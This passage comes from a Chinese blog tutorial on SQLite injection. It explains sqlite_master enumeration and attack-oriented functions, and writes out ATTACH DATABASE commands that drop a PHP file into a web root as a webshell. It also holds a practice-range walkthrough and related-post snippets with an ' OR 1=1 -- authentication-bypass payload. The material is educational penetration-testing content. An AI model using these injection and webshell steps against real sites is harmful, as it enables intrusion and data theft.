sqlite> SELECT * FROM COMPANY ORDER BY 6;
Error: 1st ORDER BY term out of range - should be between 1 and 5

③ - sqlite_master表

sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);

这是一张数据库的伴生表，该表会自动创建，是用来存储数据库的元信息的，如：表(table), 索引(index), 视图(view), 触发器(trigger)

字段说明

字段说明
type记录项目的类型，如table、index、view、trigger
name记录项目的名称，如表名、索引名等
tbl_name记录所从属的表名，如索引所在的表名。对于表来说，该列就是表名本身
rootpage记录项目在数据库页中存储的编号。对于视图和触发器，该列值为0或者NULL
sql记录创建该项目的SQL语句

作用

通过sql字段可以查询所有表的创建语句，进而得到所有表名和其字段名

sqlite> select group_concat(sql) from sqlite_master;
group_concat(sql)
------------------------------------------------------------------------------------
CREATE TABLE DEPARTMENT(
   ID INT PRIMARY KEY      NOT NULL,
   DEPT           CHAR(50) NOT NULL,
   EMP_ID         INT      NOT NULL
),CREATE TABLE COMPANY(
   ID INT PRIMARY KEY     NOT NULL,
   NAME           TEXT    NOT NULL,
   AGE            INT     NOT NULL,
   ADDRESS        CHAR(50),
   SALARY         REAL
)

④ - 扩展函数

介绍一些攻击常用到的函数

  • group_concat(column_name)：将这个字段的所有数据拼接到一个数据中，使用,分隔
  • sqlite_version()：存储sqlite的版本信息
  • length()：输出数据长度
  • substr(data, start, length)：截取字符串（start最小值为1）
  • randomblob(1000000000)：用来代替sleep()函数

⑤ - 写shell的原理

前提

必须知道WEB路径和拥有写入权限

原理

  1. 在附加数据库的时候，如果数据库文件不存在，则会创建数据库文件，且新建文件后缀和位置可控

  2. 数据库存储的数据会以明文的方式保存在文件中

    image-20220511172748114

步骤

第一步：附加数据库，指定保存数据库的文件和后缀

我们已知网站绝对路径为D:\Server\phpstudy\PHPTutorial\WWW

则执行语句：ATTACH DATABASE 'D:\\Server\\phpstudy\\PHPTutorial\\WWW\\sqliteShell.php' AS test ;

image-20220511173312911

第二步：创建一个在附加数据库中的表格

执行语句：create TABLE test.exp (shell text) ;

image-20220511173514807

第三步：在表格中插入需要远程执行的代码，这里就以<?php phpinfo();?>为例

执行语句：insert INTO test.exp VALUES ('<?php phpinfo();?>');

image-20220511173736383

image-20220511173809566

image-20220511173838450

0x06 与PHP联动

实现了一个登录框的功能

image-20220511191702938

<?php

# 命名空间
namespace core;

# 引入系统类: 基于PDO实现，需要引入三个类
use \PDO, \PDOStatement, \PDOException;

class MyPDO
{
    # 属性
    private $pdo;
    private $fetch_mode;
    public $error;

    # 构造方法
    public function __construct()
    {

        # fetch_mode不能在初始化的时候实现，需要在得到PDOStatement类对象后设置
        $this->fetch_mode = isset($drivers[PDO::ATTR_DEFAULT_FETCH_MODE]) ? $drivers[PDO::ATTR_DEFAULT_FETCH_MODE] : PDO::FETCH_ASSOC;

        # 连接认证
        try {
            $this->pdo = @new PDO('sqlite:test.db');
        } catch (PDOException $e) {
            $this->my_exception($e);
            echo "数据库连接失败! ";
            exit(0);
        }
    }

    # 保存错误信息
    private function my_exception(PDOException $e)
    {
        # 属性记录错误
        $this->error['file'] = $e->getFile();
        $this->error['line'] = $e->getLine();
        $this->error['error'] = $e->getMessage();
    }

    # 新增用户
    public function add_user($username, $password)
    {
        # 加载
        $pre_sql = "insert into user values(:user, :pass, 'user');";
        $stmt = $this->pdo->prepare($pre_sql);
        if (!$stmt) {
            die('预处理指令执行失败！');
        }
        # 绑定
        $stmt->bindValue(':user', $username);
        $stmt->bindValue(':pass', $password);
        # 执行
        return $stmt->execute();
    }

    # 登录判定
    public function is_login($username, $password)
    {
        # 加载
        $pre_sql = "select * from user where username=:user and password=:pass limit 1";
        $stmt = $this->pdo->prepare($pre_sql);
        if (!$stmt) {
            die('预处理指令执行失败！');
        }
        # 绑定
        $stmt->bindValue(':user', $username);
        $stmt->bindValue(':pass', $password);
        # 执行
        $stmt->execute();
        $row = $stmt->fetch(PDO::FETCH_ASSOC);
        if ($row['username'] === $username) {
            return $row['status'];
        } else {
            return null;
        }
    }
}

0x07 实战打靶

懒得搭建环境了，直接做墨者靶场：SQL手工注入漏洞测试(SQLite数据库)_SQL注入

测试漏洞点

image-20220511205925795

image-20220511210216073

测试回显位

image-20220511210314815

image-20220511210323504

image-20220511210441873

爆表名和字段名

image-20220511210630219

查询数据

image-20220511210718310

image-20220511210824126

解密出数据，前台登录试试

image-20220511210908493

登录成功，拿到key

__Hikki__
关注
专栏目录
SQLite 注入
12-16
SQLite 注入 如果您的站点允许用户通过网页输入，并将输入内容插入到 SQLite 数据库中，这个时候您就面临着一个被称为 SQL 注入的安全问题。本章节将向您讲解如何防止这种情况的发生，确保脚本和 SQLite 语句的安全。 注入通常在请求用户输入时发生，比如需要用户输入姓名，但用户却输入了一个 SQLite 语句，而这语句就会在不知不觉中在数据库上运行。 永远不要相信用户提供的数据，所以只处理通过验证的数据，这项规则是通过模式匹配来完成的。在下面的实例中，用户名 username 被限制为字母数字字符或者下划线，长度必须在 8 到 20 个字符之间 – 请根据需要修改这些规则。 if
WEB渗透Web突破篇-SQL注入（SQLite）
最新发布
qq_59468567的博客
07-31 355
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name' SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'
SQLlite注入
m0_55563900的博客
04-04 426
东塔学院 SQLlite注入偏 sqlite_version()查看数据库版本 select group_concat(tbl_name) from sqlite_master where type=‘table’ 查表名 select sql from sqlite_master where type=‘table’ and sql not null and name not like ‘sqlite_%’ 查当前表的字段 union select flag from flag 爆制定字段
sqlite注入总结
2201_75824562的博客
05-31 949
一份简单的sqlite注入总结
SQLite 数据库注入总结
HBohan的博客
10-09 6360
前言 SQLite 是一个进程内的库，实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库，这意味着与其他数据库不一样，您不需要在系统中配置。SQLite 与 MySQL 还是有些区别的，SQLite 直接读写普通磁盘文件，每一个数据库就是一个文件，可以按应用程序需求进行静态或动态连接其存储文件进行数据操作。 SQLite 基础 在本篇文章中我们使用 SQLite3 来学习，SQLite3 的语法与 MySQL 相似。详细语法可以在这里学习：https://www.r
Sqlite注入基础
hackzkaq的博客
05-21 1440
更多渗透技能 欢迎搜索公众号：白帽子左一 作者：掌控安全-手电筒 前置知识 Sqlite数据库的特点是它每一个数据库都是一个文件，当你查询表的完整信息时会得到创建表的语句，基本和mysql差不多 1.Sqlite-master:这个是内置系统表、相当于mysql的information_schema 但是这里只存有表的信息，里面有个sql字段，有各个表的结构，有表名，字段名和类型 2.sqlite并不支持像mysql那样的注释，但是可以通过 — 方式增加DDL注释(写shell会用到) 基本增删改查
Android面试题整理（源自鸿洋大神公众号【201803】的一篇BAT面试题推送）
唯爱丶卡卡西的博客
04-13 1725
三月，想必各位程序员GG 此刻想要的，莫过于一篇面试宝典。鄙人不才，也从未系统的刷过面试题，以鸿洋大哥一篇面试题为引，略加整理，希望能帮到各位不知道看什么小伙伴。（大部分知识都是有答案的）. 原文链接: [https://mp.weixin.qq.com/s/p3l9wr4DX976Lr62-dYe8w(只有题)] PS：其实在推送2天后就已经全部 总结出来了，只是新的CSDN 编辑器排版不会...
android 优秀框架整理(1)
2401_83817843的博客
05-03 695
github https://github.com/chrisbanes/Android-PullToRefresh作者：Chris Banes使用：github fork源码，集成到项目中25.flexbox-layout一句话介绍：一款弹性伸缩布局上榜理由：8.1k个star，前端H5开发者转Android开发的福音，FlexboxLayout作为LinearLayout和RelativeLayout的替代者，值得各位一试，与其一同推出的还有ConstraintLayout。github https:/
android 优秀框架整理，Kotlin科学计算
m0_64319000的博客
11-20 1184
github https://github.com/loopj/android-async-http 作者：James Smith 使用： repositories { maven { url ‘https://oss.sonatype.org/content/repositories/snapshots/’ } } dependencies { compile ‘com.loopj.android:android-async-http:1.5.0-SNAPSHOT’ } 18.androidannotat
android 优秀框架整理，2021年我们程序员该如何进阶和规划
m0_66145114的博客
01-21 7040
github：https://github.com/JakeWharton/butterknife 作者：JakeWharton ，也是square团队成员之一 使用： dependencies { compile ‘com.jakewharton:butterknife:8.6.0’ annotationProcessor ‘com.jakewharton:butterknife-compiler:8.6.0’ } 4.MPAndroidChart 一句话介绍：MPAndroidChart是一款图表框架
SQLite手工注入Getshell技巧.pdf
03-19
SQLite手工注入Getshell技巧.pdf
广州.Net+Android训练营 课程体系4.1版
gzcz2545119563的专栏
04-18 3100
--- 总学时3个月 重要升级信息： a.加入.Net for Android 和 Unity3D游戏开发，.Net也可以开发 Android/IOS 的3D游戏啦！ 1. Part1.0：.Net基础加强、数据库操作、三层架构 Part1.1：C#基础增强 核心技术课程 1.C#基础加强：属性原理、OOP高级、多态、多态的两种代码表现形式、静态
SQLite注入记录（目前最全、核心函数用法、布尔盲注、时间盲注、webshell、动态库，绕过方式）
墨痕诉清风的博客
02-28 2448
为了方便开发者可以很轻便的扩展功能，SQLite 从 3.3.6 版本开始提供了支持扩展的能力，通过sqlite_load_extension API（或者 load_extension 函数 ），开发者可以在不改动 SQLite 源码的情况下，通过动态加载的库（so/dll/dylib）来扩展 SQLite 的能力。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库，使用该命令后，所有的 SQLite 语句将在附加的数据库下执行。执行 payload 后将有一段时间的延时。
SQLite手工注入方法小结
08-11 980
SQLite 官网下载：www.sqlite.org/download.html sqlite管理工具：http://www.yunqa.de/delphi/products/sqlitespy/index sqlite_master隐藏表，具体内容如下： 字段：type/name/tbl_name/rootpage/sql sqlite注入测试： 1...
SQLite学习（十）SQLite的注入问题的防范、数据库文件导入和导出
Designer 小郑的技术博客
05-12 3140
本文讲解了SQLite中的SQL注入问题，以及SQLite中数据备份、数据还原、导出SQL文件的方法，用最简单的方法做最通俗的教学！
【攻防世界】二十四 --- FlatScience --- SQLite注入
qq_43168364的博客
01-26 1355
题目 ---- FlatScience 一、writeup 二、知识点
教你使用SQLite 注入
Linuxprobe18的博客
11-02 386
导读 SQLite 是一个软件库，实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。SQLite 是在世界上最广泛部署的 SQL 数据库引擎。SQLite 源代码不受版权限制。 SQLite 注入 如果您的站点允许用户通过网页输入，并将输入内容插入到 SQLite 数据库中，这个时候您就面临着一个被称为 SQL 注入的安全问题。本章节将向您讲解如何防止这种情况的发生，确保脚本和 SQLite 语句的安全。 注入通常在请求用户输入时发生，比如需要用户输入姓名，但用户却输入
sqlite注入
05-25
SQLite注入是一种针对使用SQLite数据库的应用程序的攻击方式。与其他类型的注入攻击一样，攻击者试图通过构造恶意的SQL查询语句来绕过应用程序的安全措施，以获取敏感信息或者执行非法操作。 下面是一个简单的示例，演示了SQLite注入攻击的方式： 假设有一个基于SQLite数据库的应用程序，使用以下代码来执行查询： ``` query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"; result = db.execute(query) ``` 攻击者可以通过构造一个恶意的用户名和密码来绕过应用程序的安全措施，例如： ``` username = "' OR 1=1 --" password = "password" ``` 这会将查询语句更改为： ``` SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'password' ``` 其中“--”表示注释，这意味着查询将忽略所有后续的内容，包括原始的密码验证部分。因此，攻击者可以成功绕过认证并访问应用程序中的数据。 为了防止SQLite注入攻击，开发人员应该使用参数化查询，而不是将用户输入直接插入到SQL查询语句中。例如： ``` query = "SELECT * FROM users WHERE username = ? AND password = ?"; result = db.execute(query, [username, password]) ``` 使用参数化查询可以确保输入被正确转义，并且不会被当做SQL语句的一部分来执行。这样可以有效地防止SQLite注入攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值